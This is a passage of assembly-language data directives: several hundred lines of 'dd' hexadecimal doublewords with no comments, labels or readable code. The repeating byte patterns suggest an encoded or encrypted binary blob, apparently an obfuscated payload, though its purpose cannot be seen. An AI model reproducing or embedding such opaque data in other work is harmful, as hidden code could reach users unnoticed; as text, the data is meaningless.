49B35FB6h, 0BA89AAD1h dd 3E5415D3h, 3E2954D3h, 0D84D14D1h, 0D94CF91Eh, 1CD54849h dd 9E614658h, 5DD5BA2Ah, 48490298h, 0A720DDD1h, 88F9A7A7h dd 0DB4849D9h, 0DDD15FB0h, 0A7A7A724h, 0A724EDA7h, 2DA7A7A7h dd 1263B050h, 9CDB5858h, 2CDDD150h, 0F9A7A7A7h, 4849D8E4h dd 2CDD6118h, 2DA7A7A7h, 0D81DD563h, 981DD508h, 0D1D9B008h dd 0DDD15858h, 0A7A7A728h, 0A720EDA7h, 1DD5A7A7h, 0B2B00898h dd 0DB58580Ah, 9851489Ch, 0EDA74A2Ch, 0A7A7A720h, 8981DD5h dd 0A7BA9FB0h, 509CDBA7h, 0A724DDA7h, 60F9A7A7h, 0DB4849DAh dd 4DD37898h, 4849D984h, 5B529ADBh, 49D8B84Dh, 9AF75748h dd 0A724DD61h, 182BA7A7h, 8D81DD5h, 585D1BB0h, 28DDD158h dd 0A7A7A7A7h, 0A7A720EDh, 0D81DD5A7h, 0AD3B008h, 9CDB5858h dd 57985154h, 0A7A717DCh, 20EDA7A7h, 0D5A7A7A7h, 0B008D81Dh dd 0A7A7BA3Ch, 0B1509CDBh, 0A7A7A760h, 0DA7065D3h, 0B7DB4849h dd 0D149B350h, 0D3BA89A2h, 0D33E5015h, 3E984D0Ch, 1F214CD1h dd 49D954F9h, 4698DB48h, 0BB2A9F61h, 91030607h, 0BDD10D9Bh dd 570F0B09h, 0E1501DEEh, 58585873h, 0F8E6DBE2h, 99BAAF77h dd 0DD15BB2h, 0D18FD1A4h, 5005D0A3h, 501DEE57h, 0C04DE757h dd 0D34849D9h, 49D9F455h, 520CD548h, 2D886159h, 5837E052h dd 0DBB15858h, 57585858h, 0D3501DEEh, 49D9F44Dh, 55E75748h dd 4849DA1Ch, 0B2DB9259h, 2D886150h, 5821E05Fh, 3AB35858h dd 501DEE57h, 0D9684DD3h, 9ADB4849h, 2D88615Ah, 5831E05Fh dd 12B35858h, 501DEE57h, 0D9F44DD3h, 4D5B4849h, 4849D944h dd 615CB2DBh, 0E05F2D88h, 5858583Dh, 0EE5774B3h, 4DD3501Dh dd 4849D948h, 615CB2DBh, 0E05F2D88h, 58585839h, 0EE574CB3h dd 4DD3501Dh, 4849D8B0h, 2D88611Ah, 582DE05Dh, 3075858h dd 300F9B91h, 4849C049h, 0A7AFBBB0h, 0A70801A7h, 597DC04Dh dd 0DA2CFB48h, 98F94849h, 574849D8h, 0D9944DE7h, 88594849h dd 6153B0DBh, 49DA2C5Dh, 304F2D48h, 4849C05Ah, 0A7AFEBB0h dd 0A70801A7h, 5D6A404Dh, 0DA2CFB48h, 0B6304849h, 0B04849CFh dd 0A7A7AFC4h, 6DA70801h, 4849DA2Ch, 79F44DA7h, 58FB4859h dd 7485D72h, 0BDD10D9Bh, 25D30F0Eh, 542DD350h, 0D3481DD3h dd 8AAF4C0Dh, 8951A9D1h, 0A2D19069h, 88D19A59h, 0D1401D5Bh dd 78255B9Fh, 0F442DA7h, 587812B0h, 509CDB58h, 0AF599FD1h dd 607A0D1h, 0D10D9B05h, 0CB4DBBDh, 0D30F0E0Bh, 5C32502Dh dd 58485830h, 541DD358h, 251898DBh, 6798DB5Bh, 0D15EA099h dd 5EBF999Fh, 0A758320Fh, 5D6A444Dh, 0B41DD148h, 575425D3h dd 0DA504DE7h, 55D34849h, 4849DA6Ch, 6F520CD5h, 8859A0D1h dd 98DB5B25h, 5EA09967h, 0C865E757h, 0D34849D9h, 49D9A055h dd 5724D548h, 579AD16Dh, 0A70A8FF7h, 4DA7B42Dh, 4858A860h dd 0E542DA7h, 0A7B42DA7h, 51104C4Dh, 0A81DD548h, 1E32B008h dd 9CDB5858h, 0B42DD348h, 5C5DE757h, 574849D9h, 0D9C04DE7h dd 9BD14849h, 0B3138B59h, 1DD50E47h, 0A0B008A8h, 0DB585863h dd 58F9509Ch, 0DB4849D9h, 5D5B7798h, 4849D978h, 1B5E6CD5h dd 0D35425D3h, 49D9AC4Dh, 6F9ADB48h, 8859A0D1h, 98DB5B25h dd 5EA09967h, 9D249B61h, 58D85830h, 0D97CF958h, 0B0DB4849h dd 2DA7085Ah, 484DA7B4h, 0D5485110h, 0A708F41Dh, 74B0482Dh dd 0F958583Eh, 4849D920h, 85F98DBh, 8A81DD5h, 8F41DD5h dd 1184DA7h, 9CDB4855h, 0BC65D34Ch, 0DB4849D8h, 0A0615DB7h dd 98695D2Ch, 695AB318h, 3060798h, 0D10D9B91h, 0D988F9BDh dd 0B0DB4849h, 645D615Fh, 2E484937h, 37643053h, 4DA74849h dd 4858A84Ch, 493764F9h, 5C9A0548h, 0BDD10D58h, 49DA68F9h dd 7C5D5B48h, 0DB4849D9h, 5D615BB0h, 48597DE0h, 0E030532Eh dd 0A748597Dh, 58A84C4Dh, 7DE0F948h, 9A054859h, 0D10D585Ch dd 44B4D9BDh, 0B58585Ah, 0DDD50F0Eh, 0A7A7A5A8h, 78F83008h dd 0D7B04859h, 0DB5858DAh, 0DDD1509Ch, 0A7A7A5A0h, 0CC5DE757h dd 574849D9h, 0D9C04DE7h, 88594849h, 615AB0DBh, 0A7A5A0DDh dd 695F2DA7h, 59C9B198h, 4CF95858h, 5B4849DAh, 49D8B45Dh dd 0A4DDD148h, 0D3A7A7A5h, 0A7A5A4DDh, 0A0CDD3A7h, 0D5A7A7A5h dd 90DB5A54h, 64D818A7h, 0A12D5859h, 0A5ACDDD1h, 0E5D9A7A7h dd 0A7A7A5ACh, 585858A7h, 0DDD3722Bh, 0A7A7A5A4h, 0DA7C4DD3h dd 4D5B4849h, 4849D9A0h, 595BB2DBh, 0A0DD5B88h, 8A7A7A5h dd 0A759DDD5h, 0B008A7A7h, 5858C7A9h, 0F06DE757h, 0B34849D8h dd 6DE4D87Dh, 0A7A7A759h, 9E502D71h, 0A7596DDCh, 0D865A7A7h dd 0A7596DE4h, 2D70A7A7h, 6DDC9E50h, 0A7A7A759h, 0D5D51E73h dd 0A7A7A759h, 18A790DBh, 585964D8h, 9E61A12Dh, 0A7309F2Ah dd 0D5585858h, 0A7A65ADDh, 0DDD508A7h, 0A7A7A759h, 0CC33B008h dd 9CDB5858h, 579BD154h dd 0D8CC65E7h, 0B7DB4849h, 5776B35Ah, 5A65DCE6h, 0D1A7A7A6h dd 0A7A5B0DDh, 0AFA0D1A7h, 0BCDDD1BFh, 0D3A7A7A5h, 0A7A5B0DDh dd 0BCCDD3A7h, 71A7A7A5h, 65DCD088h, 0A7A7A65Ah, 2A87611Fh dd 0DA64F996h, 5D5B4849h, 4849D9B4h, 85AB0DBh, 0D5502DA7h dd 0A7A65ADDh, 0DCB008A7h, 0DB58587Fh, 0DDD1549Ch, 0A7A7A5B4h dd 49D9D8F9h, 0A7A35D48h, 5D5B5858h, 4849DA54h, 0A5B4DD61h dd 492CA7A7h, 0A5A0EDA7h, 4DA7A7A7h, 48597D94h, 0B3189869h dd 0ACDDD366h, 59A7A7A5h, 0A7A5A4DDh, 0D9D4F9A7h, 5B184849h dd 49D9005Dh, 0A4DD5948h, 0D3A7A7A5h, 0A7A5A8DDh, 0A4DD61A7h dd 57A7A7A5h, 0A7A6D6DAh, 0A0EDA7A7h, 0A7A7A7A5h, 597D944Dh dd 7986948h, 9B910306h, 581859E0h, 58509AD8h, 0DBBDD10Dh dd 0E0B18B4h, 502DD30Fh, 105DE757h, 0D14849D9h, 98655B9Fh dd 0DB4849D9h, 56B35AB7h, 0BB89A3D1h, 264CD33Eh, 450CD13Eh dd 18F91F98h, 0DB4849D9h, 5D5B4798h, 4849D984h, 0B82A9F61h dd 8981DD5h, 0DBCDB00Eh, 9CDB5858h, 3060750h, 0D10D9B91h dd 60B4D9BDh, 0B585859h, 4DD50F0Eh, 4858868Fh, 0D92455D3h dd 99DB4849h, 8B88D151h, 684DD3B0h, 0DB4849DAh, 4D5B5F9Ah dd 4849D98Ch, 9BD189D1h, 5DD5BB8Bh, 4858868Fh, 0D1B41DD1h dd 80D1B005h, 1560D93Eh, 57402C02h, 0D9105DE7h, 4DD34849h dd 4849D8B8h, 0A148DCD5h, 715858A7h, 0F984B39Bh, 4849D9B8h dd 0D16098DBh, 0D19E5986h, 0D15E5B80h, 15D3A81Dh, 2E9061B4h dd 0D978F94Fh, 0AA5D4849h, 575858A7h, 0D8884DE7h, 88594849h dd 0F3B39B71h, 0D1A81DD3h, 0EF57A01Dh, 1D086558h, 482C5858h dd 0A05DE757h, 5D4849D8h, 5858A7A3h, 0D3B39B71h, 0D3A01DD3h dd 5858D8D8h, 0AC1DD158h, 49D9ECF9h, 5CB0DB48h, 0B1A41DD1h dd 58585924h, 1D5B80D1h, 0A41D5BACh, 0A68CDDD1h, 4DD3A7A7h dd 4849D88Ch, 615DB2DBh, 37DC5748h, 0D3585859h, 0A7A68CDDh dd 5B82D1A7h, 0CDD15408h, 0A7A7A688h, 81DDD50Ah, 8A7A7A6h dd 58C504B0h, 0D9E8F958h, 5D5B4849h, 4849D920h, 0D148B0DBh dd 7AB3801Dh, 0D2801DD3h, 0A6815DDCh, 3964A7A7h, 22644926h dd 1DD35525h, 5DDCD580h, 0A7A7A681h, 0A77870D8h, 1DD3801Dh dd 0DCE65780h, 0A7A6815Dh, 0E04DD3A7h, 0DB4849D9h, 88615CB2h dd 38F99E2Dh, 0D84849D9h, 0A68F5DE4h, 5714A7A7h, 585883DDh dd 0C04DD358h, 0D84849D8h, 0A68E4DE4h, 576BA7A7h, 58589FDDh dd 5DE4D858h, 0A7A7A68Ah, 0E1DD5713h, 0F9585858h, 4849D974h dd 0D9A45D5Bh, 0E4D84849h, 0A7A68A5Dh, 0DD571DA7h, 585858F8h dd 1C5DE757h, 0D84849D9h, 0A68F5DE4h, 570AA7A7h, 5858D3DDh dd 0D924F958h, 5D5B4849h, 4849D908h, 8D5DE4D8h, 6AA7A7A6h dd 0DDD32E2Dh, 0A7A7A68Ch, 85B82D1h, 90CDD148h, 0F9A7A7A6h dd 4849D908h, 0DA645D5Bh, 0B0DB4849h, 94DDD15Ch, 0D3A7A7A6h dd 0A7A690DDh, 5B9ED1A7h, 0A7A694EDh, 0F966D3A7h, 4849DA54h dd 0D98C5D5Bh, 0B0DB4849h, 2C9F6154h, 6FB00F1Dh, 158587Eh dd 49D908F9h, 5CB0DB48h, 0DA0C5D61h, 762D4849h, 49D97CF9h dd 345D5B48h, 0DB4849D9h, 0DD595BB0h, 0A7A7A694h, 4EB3E9B3h dd 4CA41DDBh, 0D3A01DD3h, 5858DCD8h, 0A41D6158h, 0A62ADA57h dd 88F9A7A7h, 5B4849D9h, 49DA105Dh, 53B0DB48h, 0DA0C5D61h dd 3A2C4849h, 5855E7B0h, 51F6B058h, 0D0B05858h, 0D158585Ah dd 0BF0DD09Ah, 0BF1DEE57h, 0D88C4DD3h, 0B2DB4849h, 2C88615Bh dd 0B81DD565h, 0D9ECF908h, 0B0DB4849h, 1DD5085Ch, 8F300884h dd 0F9485886h, 4849D9D4h, 0D88C5D5Bh, 0B0DB4849h, 70F9085Eh dd 574849DAh, 0D8A04DE7h, 88594849h, 855B0DBh, 37784DA7h dd 6074849h, 0D9B9103h, 0F0EBDD1h, 0D35025D3h, 0A8D1542Dh dd 0D1481D7Bh, 7B8AAFAAh, 88514C0Dh, 9A59A2D1h, 1D5B88D1h dd 5B9FD140h, 2DA77825h, 2CB00F44h, 0DB585841h, 9FD1509Ch dd 0A0D1AF59h, 9B050607h, 0E0BDD10Dh, 58587858h, 58C37CB0h dd 300F0E58h, 585847A7h, 0B859DDD5h, 0A708A7A7h, 4DA7502Dh dd 48493760h, 49CF8130h, 0A81EB048h, 65D3A7A7h, 4849D9A0h dd 0F5AB7DBh, 59E5D508h, 0FA7A7B8h, 587B02B0h, 489CDB58h dd 0D9A06DD3h, 9ED94849h, 5858A7A4h, 512CA861h, 0B0502DA7h dd 585834B2h, 18986901h, 9A910607h, 0D10D5850h, 0F0E0BBDh dd 0D35025D3h, 2DD35405h, 7980D14Ch, 480DD3A8h, 89AFA9D1h dd 88519279h, 9A59A2D1h, 1D5B88D1h, 5B9FD140h, 2DA77825h dd 90B00F44h, 0DB585840h, 9FD1509Ch, 0A0D18759h, 5030607h dd 0BDD10D9Bh, 595CB4D9h, 0F0E5858h, 49D954F9h, 5B9AD148h dd 49D9C44Dh, 5EB2DB48h, 145D5B0Ah, 0DB4849D9h, 32085CB0h dd 5DE7575Bh, 4849DA18h, 0D9F85D5Bh, 0B0DB4849h, 98F90848h dd 0DB4849D8h, 30085AB0h, 0D8585858h, 516A6830h, 404DA748h dd 0D1484933h, 0A7A7DB9Fh, 72E05F2Dh, 0B3585858h, 0DA70F932h dd 0E7574849h, 49D89C4Dh, 0DB885948h, 0D50856B0h, 0A7A6A4DDh dd 0A73008A7h, 0D5585858h, 0A7A759DDh, 0A70F08A7h, 58A86C4Dh dd 0F9ED148h, 11104DA7h, 0EE574851h, 0A7A759DDh, 884DD3A7h dd 0DB4849D9h, 8861429Ah, 72E05F25h, 0B3585858h, 0D9C4F942h dd 0B0DB4849h, 2D9E615Ch, 5872E05Fh, 5FB35858h, 59DDEE57h dd 7A7A7A7h, 0D9B9106h, 0E0BBDD1h, 5005D30Fh, 0B542DD3h dd 0A8584DA7h, 9FD14858h, 49D9D0F9h, 0BC5D5B48h, 0DB4849D9h dd 0F90851B0h, 4849D8E0h, 0DA7C5D5Bh, 0B0DB4849h, 38F9085Dh dd 5D4849D9h, 585847AFh, 104DE757h, 594849D9h, 0F0E0888h dd 5DE7570Bh, 4849D89Ch, 85EB0DBh, 4DA75832h, 4858A848h dd 49D94CF9h, 4DE75748h, 4849D9C0h, 0B0DB8859h, 665CD05Ah dd 607A0D1h, 0D9B0503h, 0B4D9BDD1h, 58585950h, 65D30F0Eh dd 4849D9D0h, 5DE7571Fh, 4849D8F0h, 29B39F59h, 49CF9530h dd 0B602B048h, 0DDD1A7A7h, 0A7A7A6A0h, 49CF9B30h, 0B612B048h dd 80FA7A7h, 0A6A0EDD3h, 0D50EA7A7h, 0A7A759EDh, 4DA70EA7h dd 48550170h, 0D5409CDBh, 0A7A759DDh, 583208A7h, 48585830h dd 604DA758h, 0D1485111h, 0A7A6A4DDh, 2C9851A7h, 4DA70847h dd 48511110h, 705DE757h, 184849D9h, 5D2D9F61h, 0B3189869h dd 585AE07Bh, 44B35858h, 0D948F91Fh, 98DB4849h, 4DE75703h dd 4849D95Ch, 9F618859h, 0A72EDA57h, 9869A7A7h, 9B910607h dd 0CFEC300Fh, 91B04849h, 1A7A7B5h, 0C04DA708h, 0FB48597Dh dd 4849DA24h, 49D8B4F9h, 4DE75748h, 4849D93Ch, 0B0DB8859h dd 245D615Ah, 2D4849DAh, 0CFFD304Fh, 0C1B04849h, 1A7A7B5h dd 404DA708h, 0FB485D6Ah, 4849DA24h, 49CFD530h, 0B5DAB048h dd 801A7A7h, 0DA246DA7h, 4DA74849h, 485979F4h, 59579CFBh dd 0D9B0748h, 0B4D9BDD1h, 5858595Ch, 0D8FCF90Fh, 5D5B4849h dd 4849D9ECh, 0D0500DD2h, 0A6AE5DCCh, 0B8F9A7A7h, 0DB4849D9h dd 30085CB0h, 585858D8h, 20F95C32h, 0DB4849D9h, 0F90851B0h dd 4849DA14h, 504DE757h, 594849DAh, 52B0DB88h, 58583008h dd 68301858h, 0A748516Ah, 4933404Dh, 579FD148h, 0D99C5DE7h dd 5D5B4849h, 4849D928h, 854B0DBh, 0A6A4DDD5h, 0F908A7A7h dd 4849D920h, 850B0DBh, 0A759DDD5h, 0F08A7A7h, 37444DA7h dd 0A70F4849h, 5111104Dh, 9B910748h, 0DBBDD10Dh, 0F0E54B4h dd 305025D3h, 4858FA5Fh, 6EA73C3Fh, 3C3F5858h, 58587ED1h dd 49CFDD30h, 0B4EAB048h dd 6FA7A7A7h, 0AE2DD508h, 704DA70Eh, 0DB485501h, 5832489Ch dd 1DD56FA7h, 40B008AEh, 57585871h, 0D9C85DE7h, 5D5B4849h dd 4849D8E0h, 854B0DBh, 17C4DA7h, 9CDB4855h, 78FB348h dd 5C9A9106h, 0BDD10D58h, 5A34B4D9h, 0E0B5858h, 1B83690Fh dd 49CF2530h, 0B402B048h, 2DA7A7A7h, 0E5D50850h, 0A7A7A5E6h dd 704DA70Fh, 0DB485501h, 0DDD5489Ch, 0A7A7A69Ah, 0E6DDD508h dd 8A7A7A5h, 6A704DA7h, 0DDD14851h, 0A7A7A5E0h, 0CC5DE757h dd 0AF4849D9h, 0E0DD6180h, 57A7A7A5h, 58593EDDh, 781DD558h dd 481DD508h, 484DA708h, 0D1484933h, 0A7A5F8DDh, 5DE757A7h dd 4849D8CCh, 884DE757h, 594849D8h, 50B0DB88h, 0A5F8DD61h dd 5526A7A7h, 0A5C0E5D5h, 2DD5A7A7h, 0B3FDFD78h, 0C0E5D553h dd 0D5A7A7A5h, 0FDFD482Dh, 0A5F0DDD5h, 0D508A7A7h, 0A7A5C0DDh dd 4DA708A7h, 48490220h, 49D900F9h, 0CDEF5748h, 0A7A7A5EAh dd 0E8D5EF57h, 0D3A7A7A5h, 49DA546Dh, 682CD548h, 96F7576Dh dd 0EF579259h, 0A7A5F6D5h, 0A06DD3A7h, 0DB4849D9h, 0F7574D9Eh dd 46DD396h, 0DB4849D9h, 0F757609Eh, 57925996h, 0A5F2D5EFh dd 6DD3A7A7h, 4849D8C0h, 574D9EDBh, 0E75796F7h, 49D99C6Dh dd 0E865D348h, 0D54849D9h, 5751662Ch, 6DD396F7h, 4849D914h dd 576D9EDBh, 0D97065E7h, 0A6594849h, 5996F757h, 0D5EF5792h dd 0A7A7A5F0h, 0D8B86DD3h, 0E7574849h, 49D8C465h, 57A65948h dd 0E75796F7h, 49D8EC6Dh, 419EDB48h, 0D396F757h, 49D8E06Dh dd 499EDB48h, 90D19E59h, 579EF757h, 0D9B055E7h, 6DD34849h dd 4849D924h, 766914D5h, 5999F757h, 0FCCDD19Ah, 0D1A7A7A5h dd 684DD388h, 614858A8h, 0A9DF5788h, 71585858h, 0D8E0F99Ah dd 845D4849h, 61585848h, 85DE579Ah, 0A7585858h, 4DA7502Dh dd 4858A854h, 0A5CCDDD1h, 91B1A7A7h, 0D8585858h, 0A7A6B6E5h dd 0DC5776A7h, 585858E0h, 49CF2C30h, 0B2C2B048h, 0E5D5A7A7h dd 0A7A7A6B6h, 502DA70Fh, 0E6E5D508h, 0FA7A7A5h, 1704DA7h dd 0EDD54855h, 0A7A7A69Ah, 5918B4D9h, 0BFD15858h, 5858C7E1h dd 0FD3EAB58h, 0A5E6E5D5h, 0B00FA7A7h, 0A7A7A5B5h, 59009CD9h dd 34B35858h, 0A69ADDD5h, 0A708A7A7h, 0A7A5E0EDh, 904DA7A7h dd 0D1485957h, 2C83519Bh, 0B6E5D80Fh, 76A7A7A6h, 3330122Ch dd 0B04849CFh, 0A7A7B274h, 0A6B6E5D5h, 0A70FA7A7h, 0D508502Dh dd 0A7A5E6E5h, 4DA70FA7h, 48550170h, 0A69AEDD5h, 0B4D9A7A7h dd 58585918h, 0C7E1BFD1h, 0AB585858h, 0E5D5FD3Eh, 0A7A7A5E6h dd 0A527B00Fh, 9CD9A7A7h, 58585900h, 0C82D8351h, 91030607h dd 0BDD10D9Bh, 5A0CB4D9h, 0E0B5858h, 0B4DDD50Fh, 8A7A7A6h dd 49D898F9h, 0D45D5B48h, 0DB4849D9h, 0F9085BB0h, 4849D9BCh dd 85CB0DBh, 14F97832h, 574849D9h, 0D8884DE7h, 88594849h dd 850B0DBh, 72584DA7h, 1DD5485Dh, 4DA708A8h, 48516C68h dd 49DA4CF9h, 0DEF5748h, 15EF57A2h, 2445D3A0h, 0DB4849D9h dd 0F7576D9Bh, 57925993h, 57AE15EFh, 0D91C45E7h, 9BDB4849h dd 93F7574Ch, 0D97C45D3h, 9BDB4849h, 6DE7576Fh, 4849D960h dd 0F757AB59h, 57925993h, 0D3AA15EFh, 49D92045h, 4D9BDB48h dd 0D393F757h, 49D9AC45h, 579BDB48h, 0D393F757h, 49DA4C45h dd 619BDB48h, 5993F757h, 15EF5792h, 4445D3A8h, 0DB4849DAh dd 455B5D9Bh, 4849D8F8h, 0D393F757h, 49D9DC45h, 401CD548h dd 90F7574Fh, 485DE757h, 574849DAh, 0D8AC45E7h, 1CD54849h dd 0F7574940h, 0D8B8F990h, 98DB4849h, 45E7576Dh, 4849D9CCh dd 0F7578059h, 5988D190h, 0A868FB90h, 6CF94858h, 5B4849D9h dd 49D9F85Dh, 51B0DB48h, 0A592DDD1h, 0EDD5A7A7h, 0A7A7A5F6h dd 5918B4D9h, 0BFD15858h, 5858C7E1h, 0FD3EAB58h, 0A6B4E5D5h dd 0B00FA7A7h, 585840F0h, 591C9CD9h, 6075858h, 0F99B9103h dd 4849D90Ch, 0D9BC5D5Bh, 0B0DB4849h, 4DA70853h, 48490138h dd 1859E09Bh, 409AD858h, 0BDD10D58h, 584858E0h, 0CB7BB058h dd 0E0B5858h, 0D9F4F90Fh, 5D5B4849h, 4849D90Ch, 852B0DBh dd 0A859DDD5h, 0B008A7A7h, 585855B9h, 0D3509CDBh, 49D99065h dd 50B7DB48h, 0E4D842B3h, 0A7A85965h, 572D7BA7h, 0C05DE757h dd 104849D9h, 5965DCD0h, 1FA7A7A8h, 57A7A7D9h, 862A5858h dd 0A859EDD5h, 3F30A7A7h, 0B04849CFh, 0A7A7B050h, 5957B830h dd 45E75748h, 4849D89Ch, 0B5EB3DBh, 0D95045D3h, 0E7574849h dd 49D9CC4Dh, 0DB8B5948h, 80B51B3h, 8845E757h, 5B4849D8h dd 49DA1445h, 57B3DB48h, 7C45D30Bh, 5B4849DAh, 49D98045h dd 5DB3DB48h, 2DA70E0Bh, 8845D350h, 5B4849D9h, 49D90C45h dd 55B3DB48h, 58A7BBD9h, 0B00B5858h, 58581077h, 0D1709CDBh dd 0A790DBA9h, 5964D818h, 57A12D58h, 0D8CC4DE7h, 0B2DB4849h dd 599BD159h, 598ED1ABh, 5EE65786h, 404DE757h, 574849DAh dd 0D97055E7h, 92594849h, 615DB2DBh, 0BDD5788h, 7A7A7A7h dd 9B910306h, 0CF01300Fh, 0DB04849h, 1A7A7BFh, 0C04DA708h dd 0FB48597Dh, 4849DA00h, 49DA58F9h, 5DB0DB48h, 0DA005D61h dd 4F2D4849h, 49CF1330h, 0BF76B048h, 801A7A7h, 6A404DA7h dd 0FB485Dh, 304849DAh, 4849CF19h, 0A7BF4FB0h, 65B008A7h dd 0FB58583Dh, 4851116Ch, 49CF6F30h, 0BF5AB048h, 0B008A7A7h dd 58583D70h, 5979FCFBh, 0CF753048h, 0B5B04849h, 8A7A7BEh dd 583D4BB0h, 118FB58h, 7D304855h, 0B04849CFh, 0A7A7BE80h dd 3CA6B008h, 18FB5858h, 30484928h, 4849CF45h, 0A7BE9BB0h dd 0B1B008A7h, 0FB58583Ch, 485D71A8h, 49CF4B30h, 0BEF6B048h dd 0B008A7A7h, 58583C8Ch, 55017CFBh, 0CF523048h, 0C1B04849h dd 8A7A7BEh, 583CE7B0h, 0A8FB58h, 58304851h, 0B04849CFh dd 0A7A7BEDCh, 3CF2B008h, 0B8FB5858h, 30485D71h, 4849CEA0h dd 0A7BE37B0h, 0CDB008A7h, 0FB58583Ch, 48595844h, 49CEB530h dd 0BE02B048h, 0B008A7A7h, 58583CD8h, 58A864FBh, 0CEBA3048h dd 1DB04849h, 8A7A7BEh, 583C33B0h, 170FB58h, 8E304855h dd 0B04849CEh, 0A7A7BE68h, 3C0EB008h, 44FB5858h, 3048516Ah dd 4849CE94h, 0A7BE43B0h, 19B008A7h, 0FB58583Ch, 4851104Ch dd 49CE9A30h, 0BE5EB048h, 0B008A7A7h, 58583C74h, 0FB289CDBh dd 4858A874h, 0D10D9B07h, 10B4D9BDh, 0B58585Ch, 0DDD50F0Eh dd 0A7A7A4E7h, 0D9F4F908h, 5D5B4849h, 4849D8A8h, 85DB0DBh dd 49DA78F9h, 5AB0DB48h, 57443208h, 0D89C5DE7h, 5D5B4849h dd 4849D990h, 856B0DBh, 72584DA7h, 0DDD5485Dh, 0A7A7A4E7h dd 0E3DDD508h, 8A7A7A3h, 79FC4DA7h, 0EF304859h, 0B04849CEh dd 0A7A7BDCCh, 0E3CDD508h, 0AA7A7A3h, 0A8744DA7h, 9CDB4858h dd 9ADDD54Ch, 8A7A7A6h, 0A3E3DDD5h, 0A708A7A7h, 516A704Dh dd 0F99BD148h, 4849DA68h, 9B6180AFh, 58ECDC57h, 0DDD55858h dd 0A7A7A6B6h, 0E7DDD508h, 8A7A7A4h, 586604B0h, 509CDB58h dd 0D51EAE69h, 0A7A69ADDh, 0A70B08A7h, 5957904Dh, 519ED148h dd 0B512DAEh, 7DE44DA7h, 42B34859h, 0A6B6DDD5h, 0D508A7A7h dd 0A7A4E7DDh, 7EB008A7h, 0DB585866h, 0AE51509Ch, 0E757912Dh dd 49D9F05Dh, 2C4DD348h, 0DB4849D9h, 4CD05FB2h, 4903485Dh dd 65E75748h, 4849D8F0h, 0F53064B3h, 0B04849CEh, 0A7A7BCBCh dd 78E56CA7h, 0A7485101h, 6A78E56Ch, 0D508485Dh, 0A7A59BCDh dd 4DA70AA7h, 48550170h, 0A59BDDD5h, 3008A7A7h, 48490348h dd 0A8744DA7h, 9CDB4858h dd 65631F44h, 4849DAFCh, 607E42Ah, 0D9B9103h, 0B4DBBDD1h dd 0F0E0B74h, 3E401DD3h, 57401DD1h, 0D95C5DE7h, 4DD34849h dd 4849D948h, 0E748DCD5h, 61585858h, 0DD57541Dh, 58585948h dd 0B01D9F3Eh, 1DD5585Bh, 0B0F908A8h, 84849DAh, 0FA760D3h dd 0A41DD144h, 49D8BCF9h, 0F45D5B48h, 0DB4849D9h, 1D615FB0h dd 85DD57A4h, 0A7585858h, 1DD5A815h, 2DD508BCh, 48B4DBB0h dd 5CE1BFD1h, 0AB585858h, 0B065D3FDh, 0F4849DAh, 0FA767D3h dd 0A41DD178h, 0EC5DE757h, 5B4849D8h, 49D9A05Dh, 50B0DB48h dd 57A41D61h, 5858C7DDh, 0B81DD558h, 0C2F03008h, 1DD34849h dd 60D308BCh, 58654CA7h, 0D1585858h, 0A8F9A41Dh, 0DB4849D8h dd 1D615BB0h, 0D5282DA4h, 49DABC5Dh, 0A01DD148h, 0A740D308h dd 1DD55C0Bh, 0B0300884h, 0D34849C1h, 0D308A01Dh, 654CA760h dd 58585858h, 0F9A41DD1h, 4849D978h, 0D8C85D5Bh, 0B0DB4849h dd 0A41D6154h, 1DD57B2Dh, 0B030088Ch, 0A74849C1h, 2DA7842Dh dd 57BFB0B8h, 9CDB5858h, 801DD148h, 8841DD3h, 0BA740D3h dd 0A01DD350h, 0A740D308h, 1DD3500Bh, 40D308B8h, 0D3500BA7h dd 0D308BC1Dh, 500BA740h, 5DB39869h, 5A585BE0h, 30607D8h dd 587C9A91h, 581859E0h, 58509AD8h, 49CECF30h, 0BB12B048h dd 0B008A7A7h, 58585725h, 5D6A4CFBh, 0CED13048h, 6DB04849h dd 8A7A7BBh, 585730B0h, 71B4FB58h, 2430485Dh, 0B04849CEh dd 0A7A7BB78h, 570BB008h, 0E4FB5858h, 3048597Dh, 4849CE34h dd 0A7BB53B0h, 66B008A7h, 0FB585857h, 48595798h, 49CE0530h dd 0BAAEB048h, 0B008A7A7h, 58585771h, 58A854FBh, 0CE1F3048h dd 0B9B04849h, 8A7A7BAh, 58574CB0h, 1040FB58h, 68304851h dd 0B04849CEh, 0A7A7BA94h, 56A7B008h, 78FB5858h, 30485501h dd 4849CE7Bh, 0A7BAEFB0h, 0B2B008A7h, 0FB585856h, 48597D94h dd 49CE5430h, 0BAFAB048h, 0B008A7A7h, 5858568Dh, 55016CFBh dd 0CDAF3048h, 0D5B04849h, 8A7A7BAh, 585698B0h, 114FB58h dd 0BC304849h, 0B04849CDh, 0A7A7BA20h, 56F3B008h, 48FB5858h dd 30484933h, 4849CD95h, 0A7BA3BB0h, 0CEB008A7h, 0FB585856h dd 4858A848h, 49CD9930h, 0BA16B048h, 0B008A7A7h, 585856D9h dd 58A86CFBh, 0CDF03048h, 61B04849h, 8A7A7BAh, 585634B0h dd 158FB58h, 0C3304851h, 0B04849CDh, 0A7A7BA7Ch, 560FB008h dd 1CFB5858h, 3048516Dh, 4849CDD2h, 0A7BA57B0h, 1AB008A7h dd 0FB585856h, 48493770h, 49CD2A30h, 0B9A2B048h, 0B008A7A7h dd 58585675h, 490220FBh, 0CD023048h, 0BDB04849h, 8A7A7B9h dd 585640B0h, 0A84CFB58h, 12304858h, 0B04849CDh, 0A7A7B988h dd 565BB008h, 50FB5858h, 30485101h, 4849CD60h, 0A7B9E3B0h dd 0B6B008A7h, 0FB585855h, 48516A70h, 49CD4530h, 0B9FEB048h dd 0B008A7A7h, 58585581h, 51111CFBh, 0CD563048h, 0C9B04849h dd 8A7A7B9h, 58559CB0h, 3774FB58h, 0A2304849h, 0B04849CCh dd 0A7A7B924h, 55F7B008h, 18FB5858h, 304858A8h, 4849CCB2h dd 0A7B93FB0h, 0C2B008A7h, 0FB585855h, 485D6A44h, 49CC8330h dd 0B90AB048h, 0B008A7A7h, 585855DDh, 493344FBh, 0CC943048h dd 65B04849h, 8A7A7B9h, 585528B0h, 148FB58h, 0E6304851h dd 0B04849CCh, 0A7A7B970h, 5503B008h, 60FB5858h, 30485111h dd 4849CCF7h, 0A7B94BB0h, 1EB008A7h, 0FB585855h, 48493340h dd 49CCF830h, 0B8A6B048h, 0B008A7A7h, 58585569h, 511048FBh dd 0CCD43048h, 0B1B04849h, 8A7A7B8h, 585544B0h, 7DC0FB58h dd 24304859h, 0B04849CCh, 0A7A7B88Ch, 555FB008h, 28FB5858h 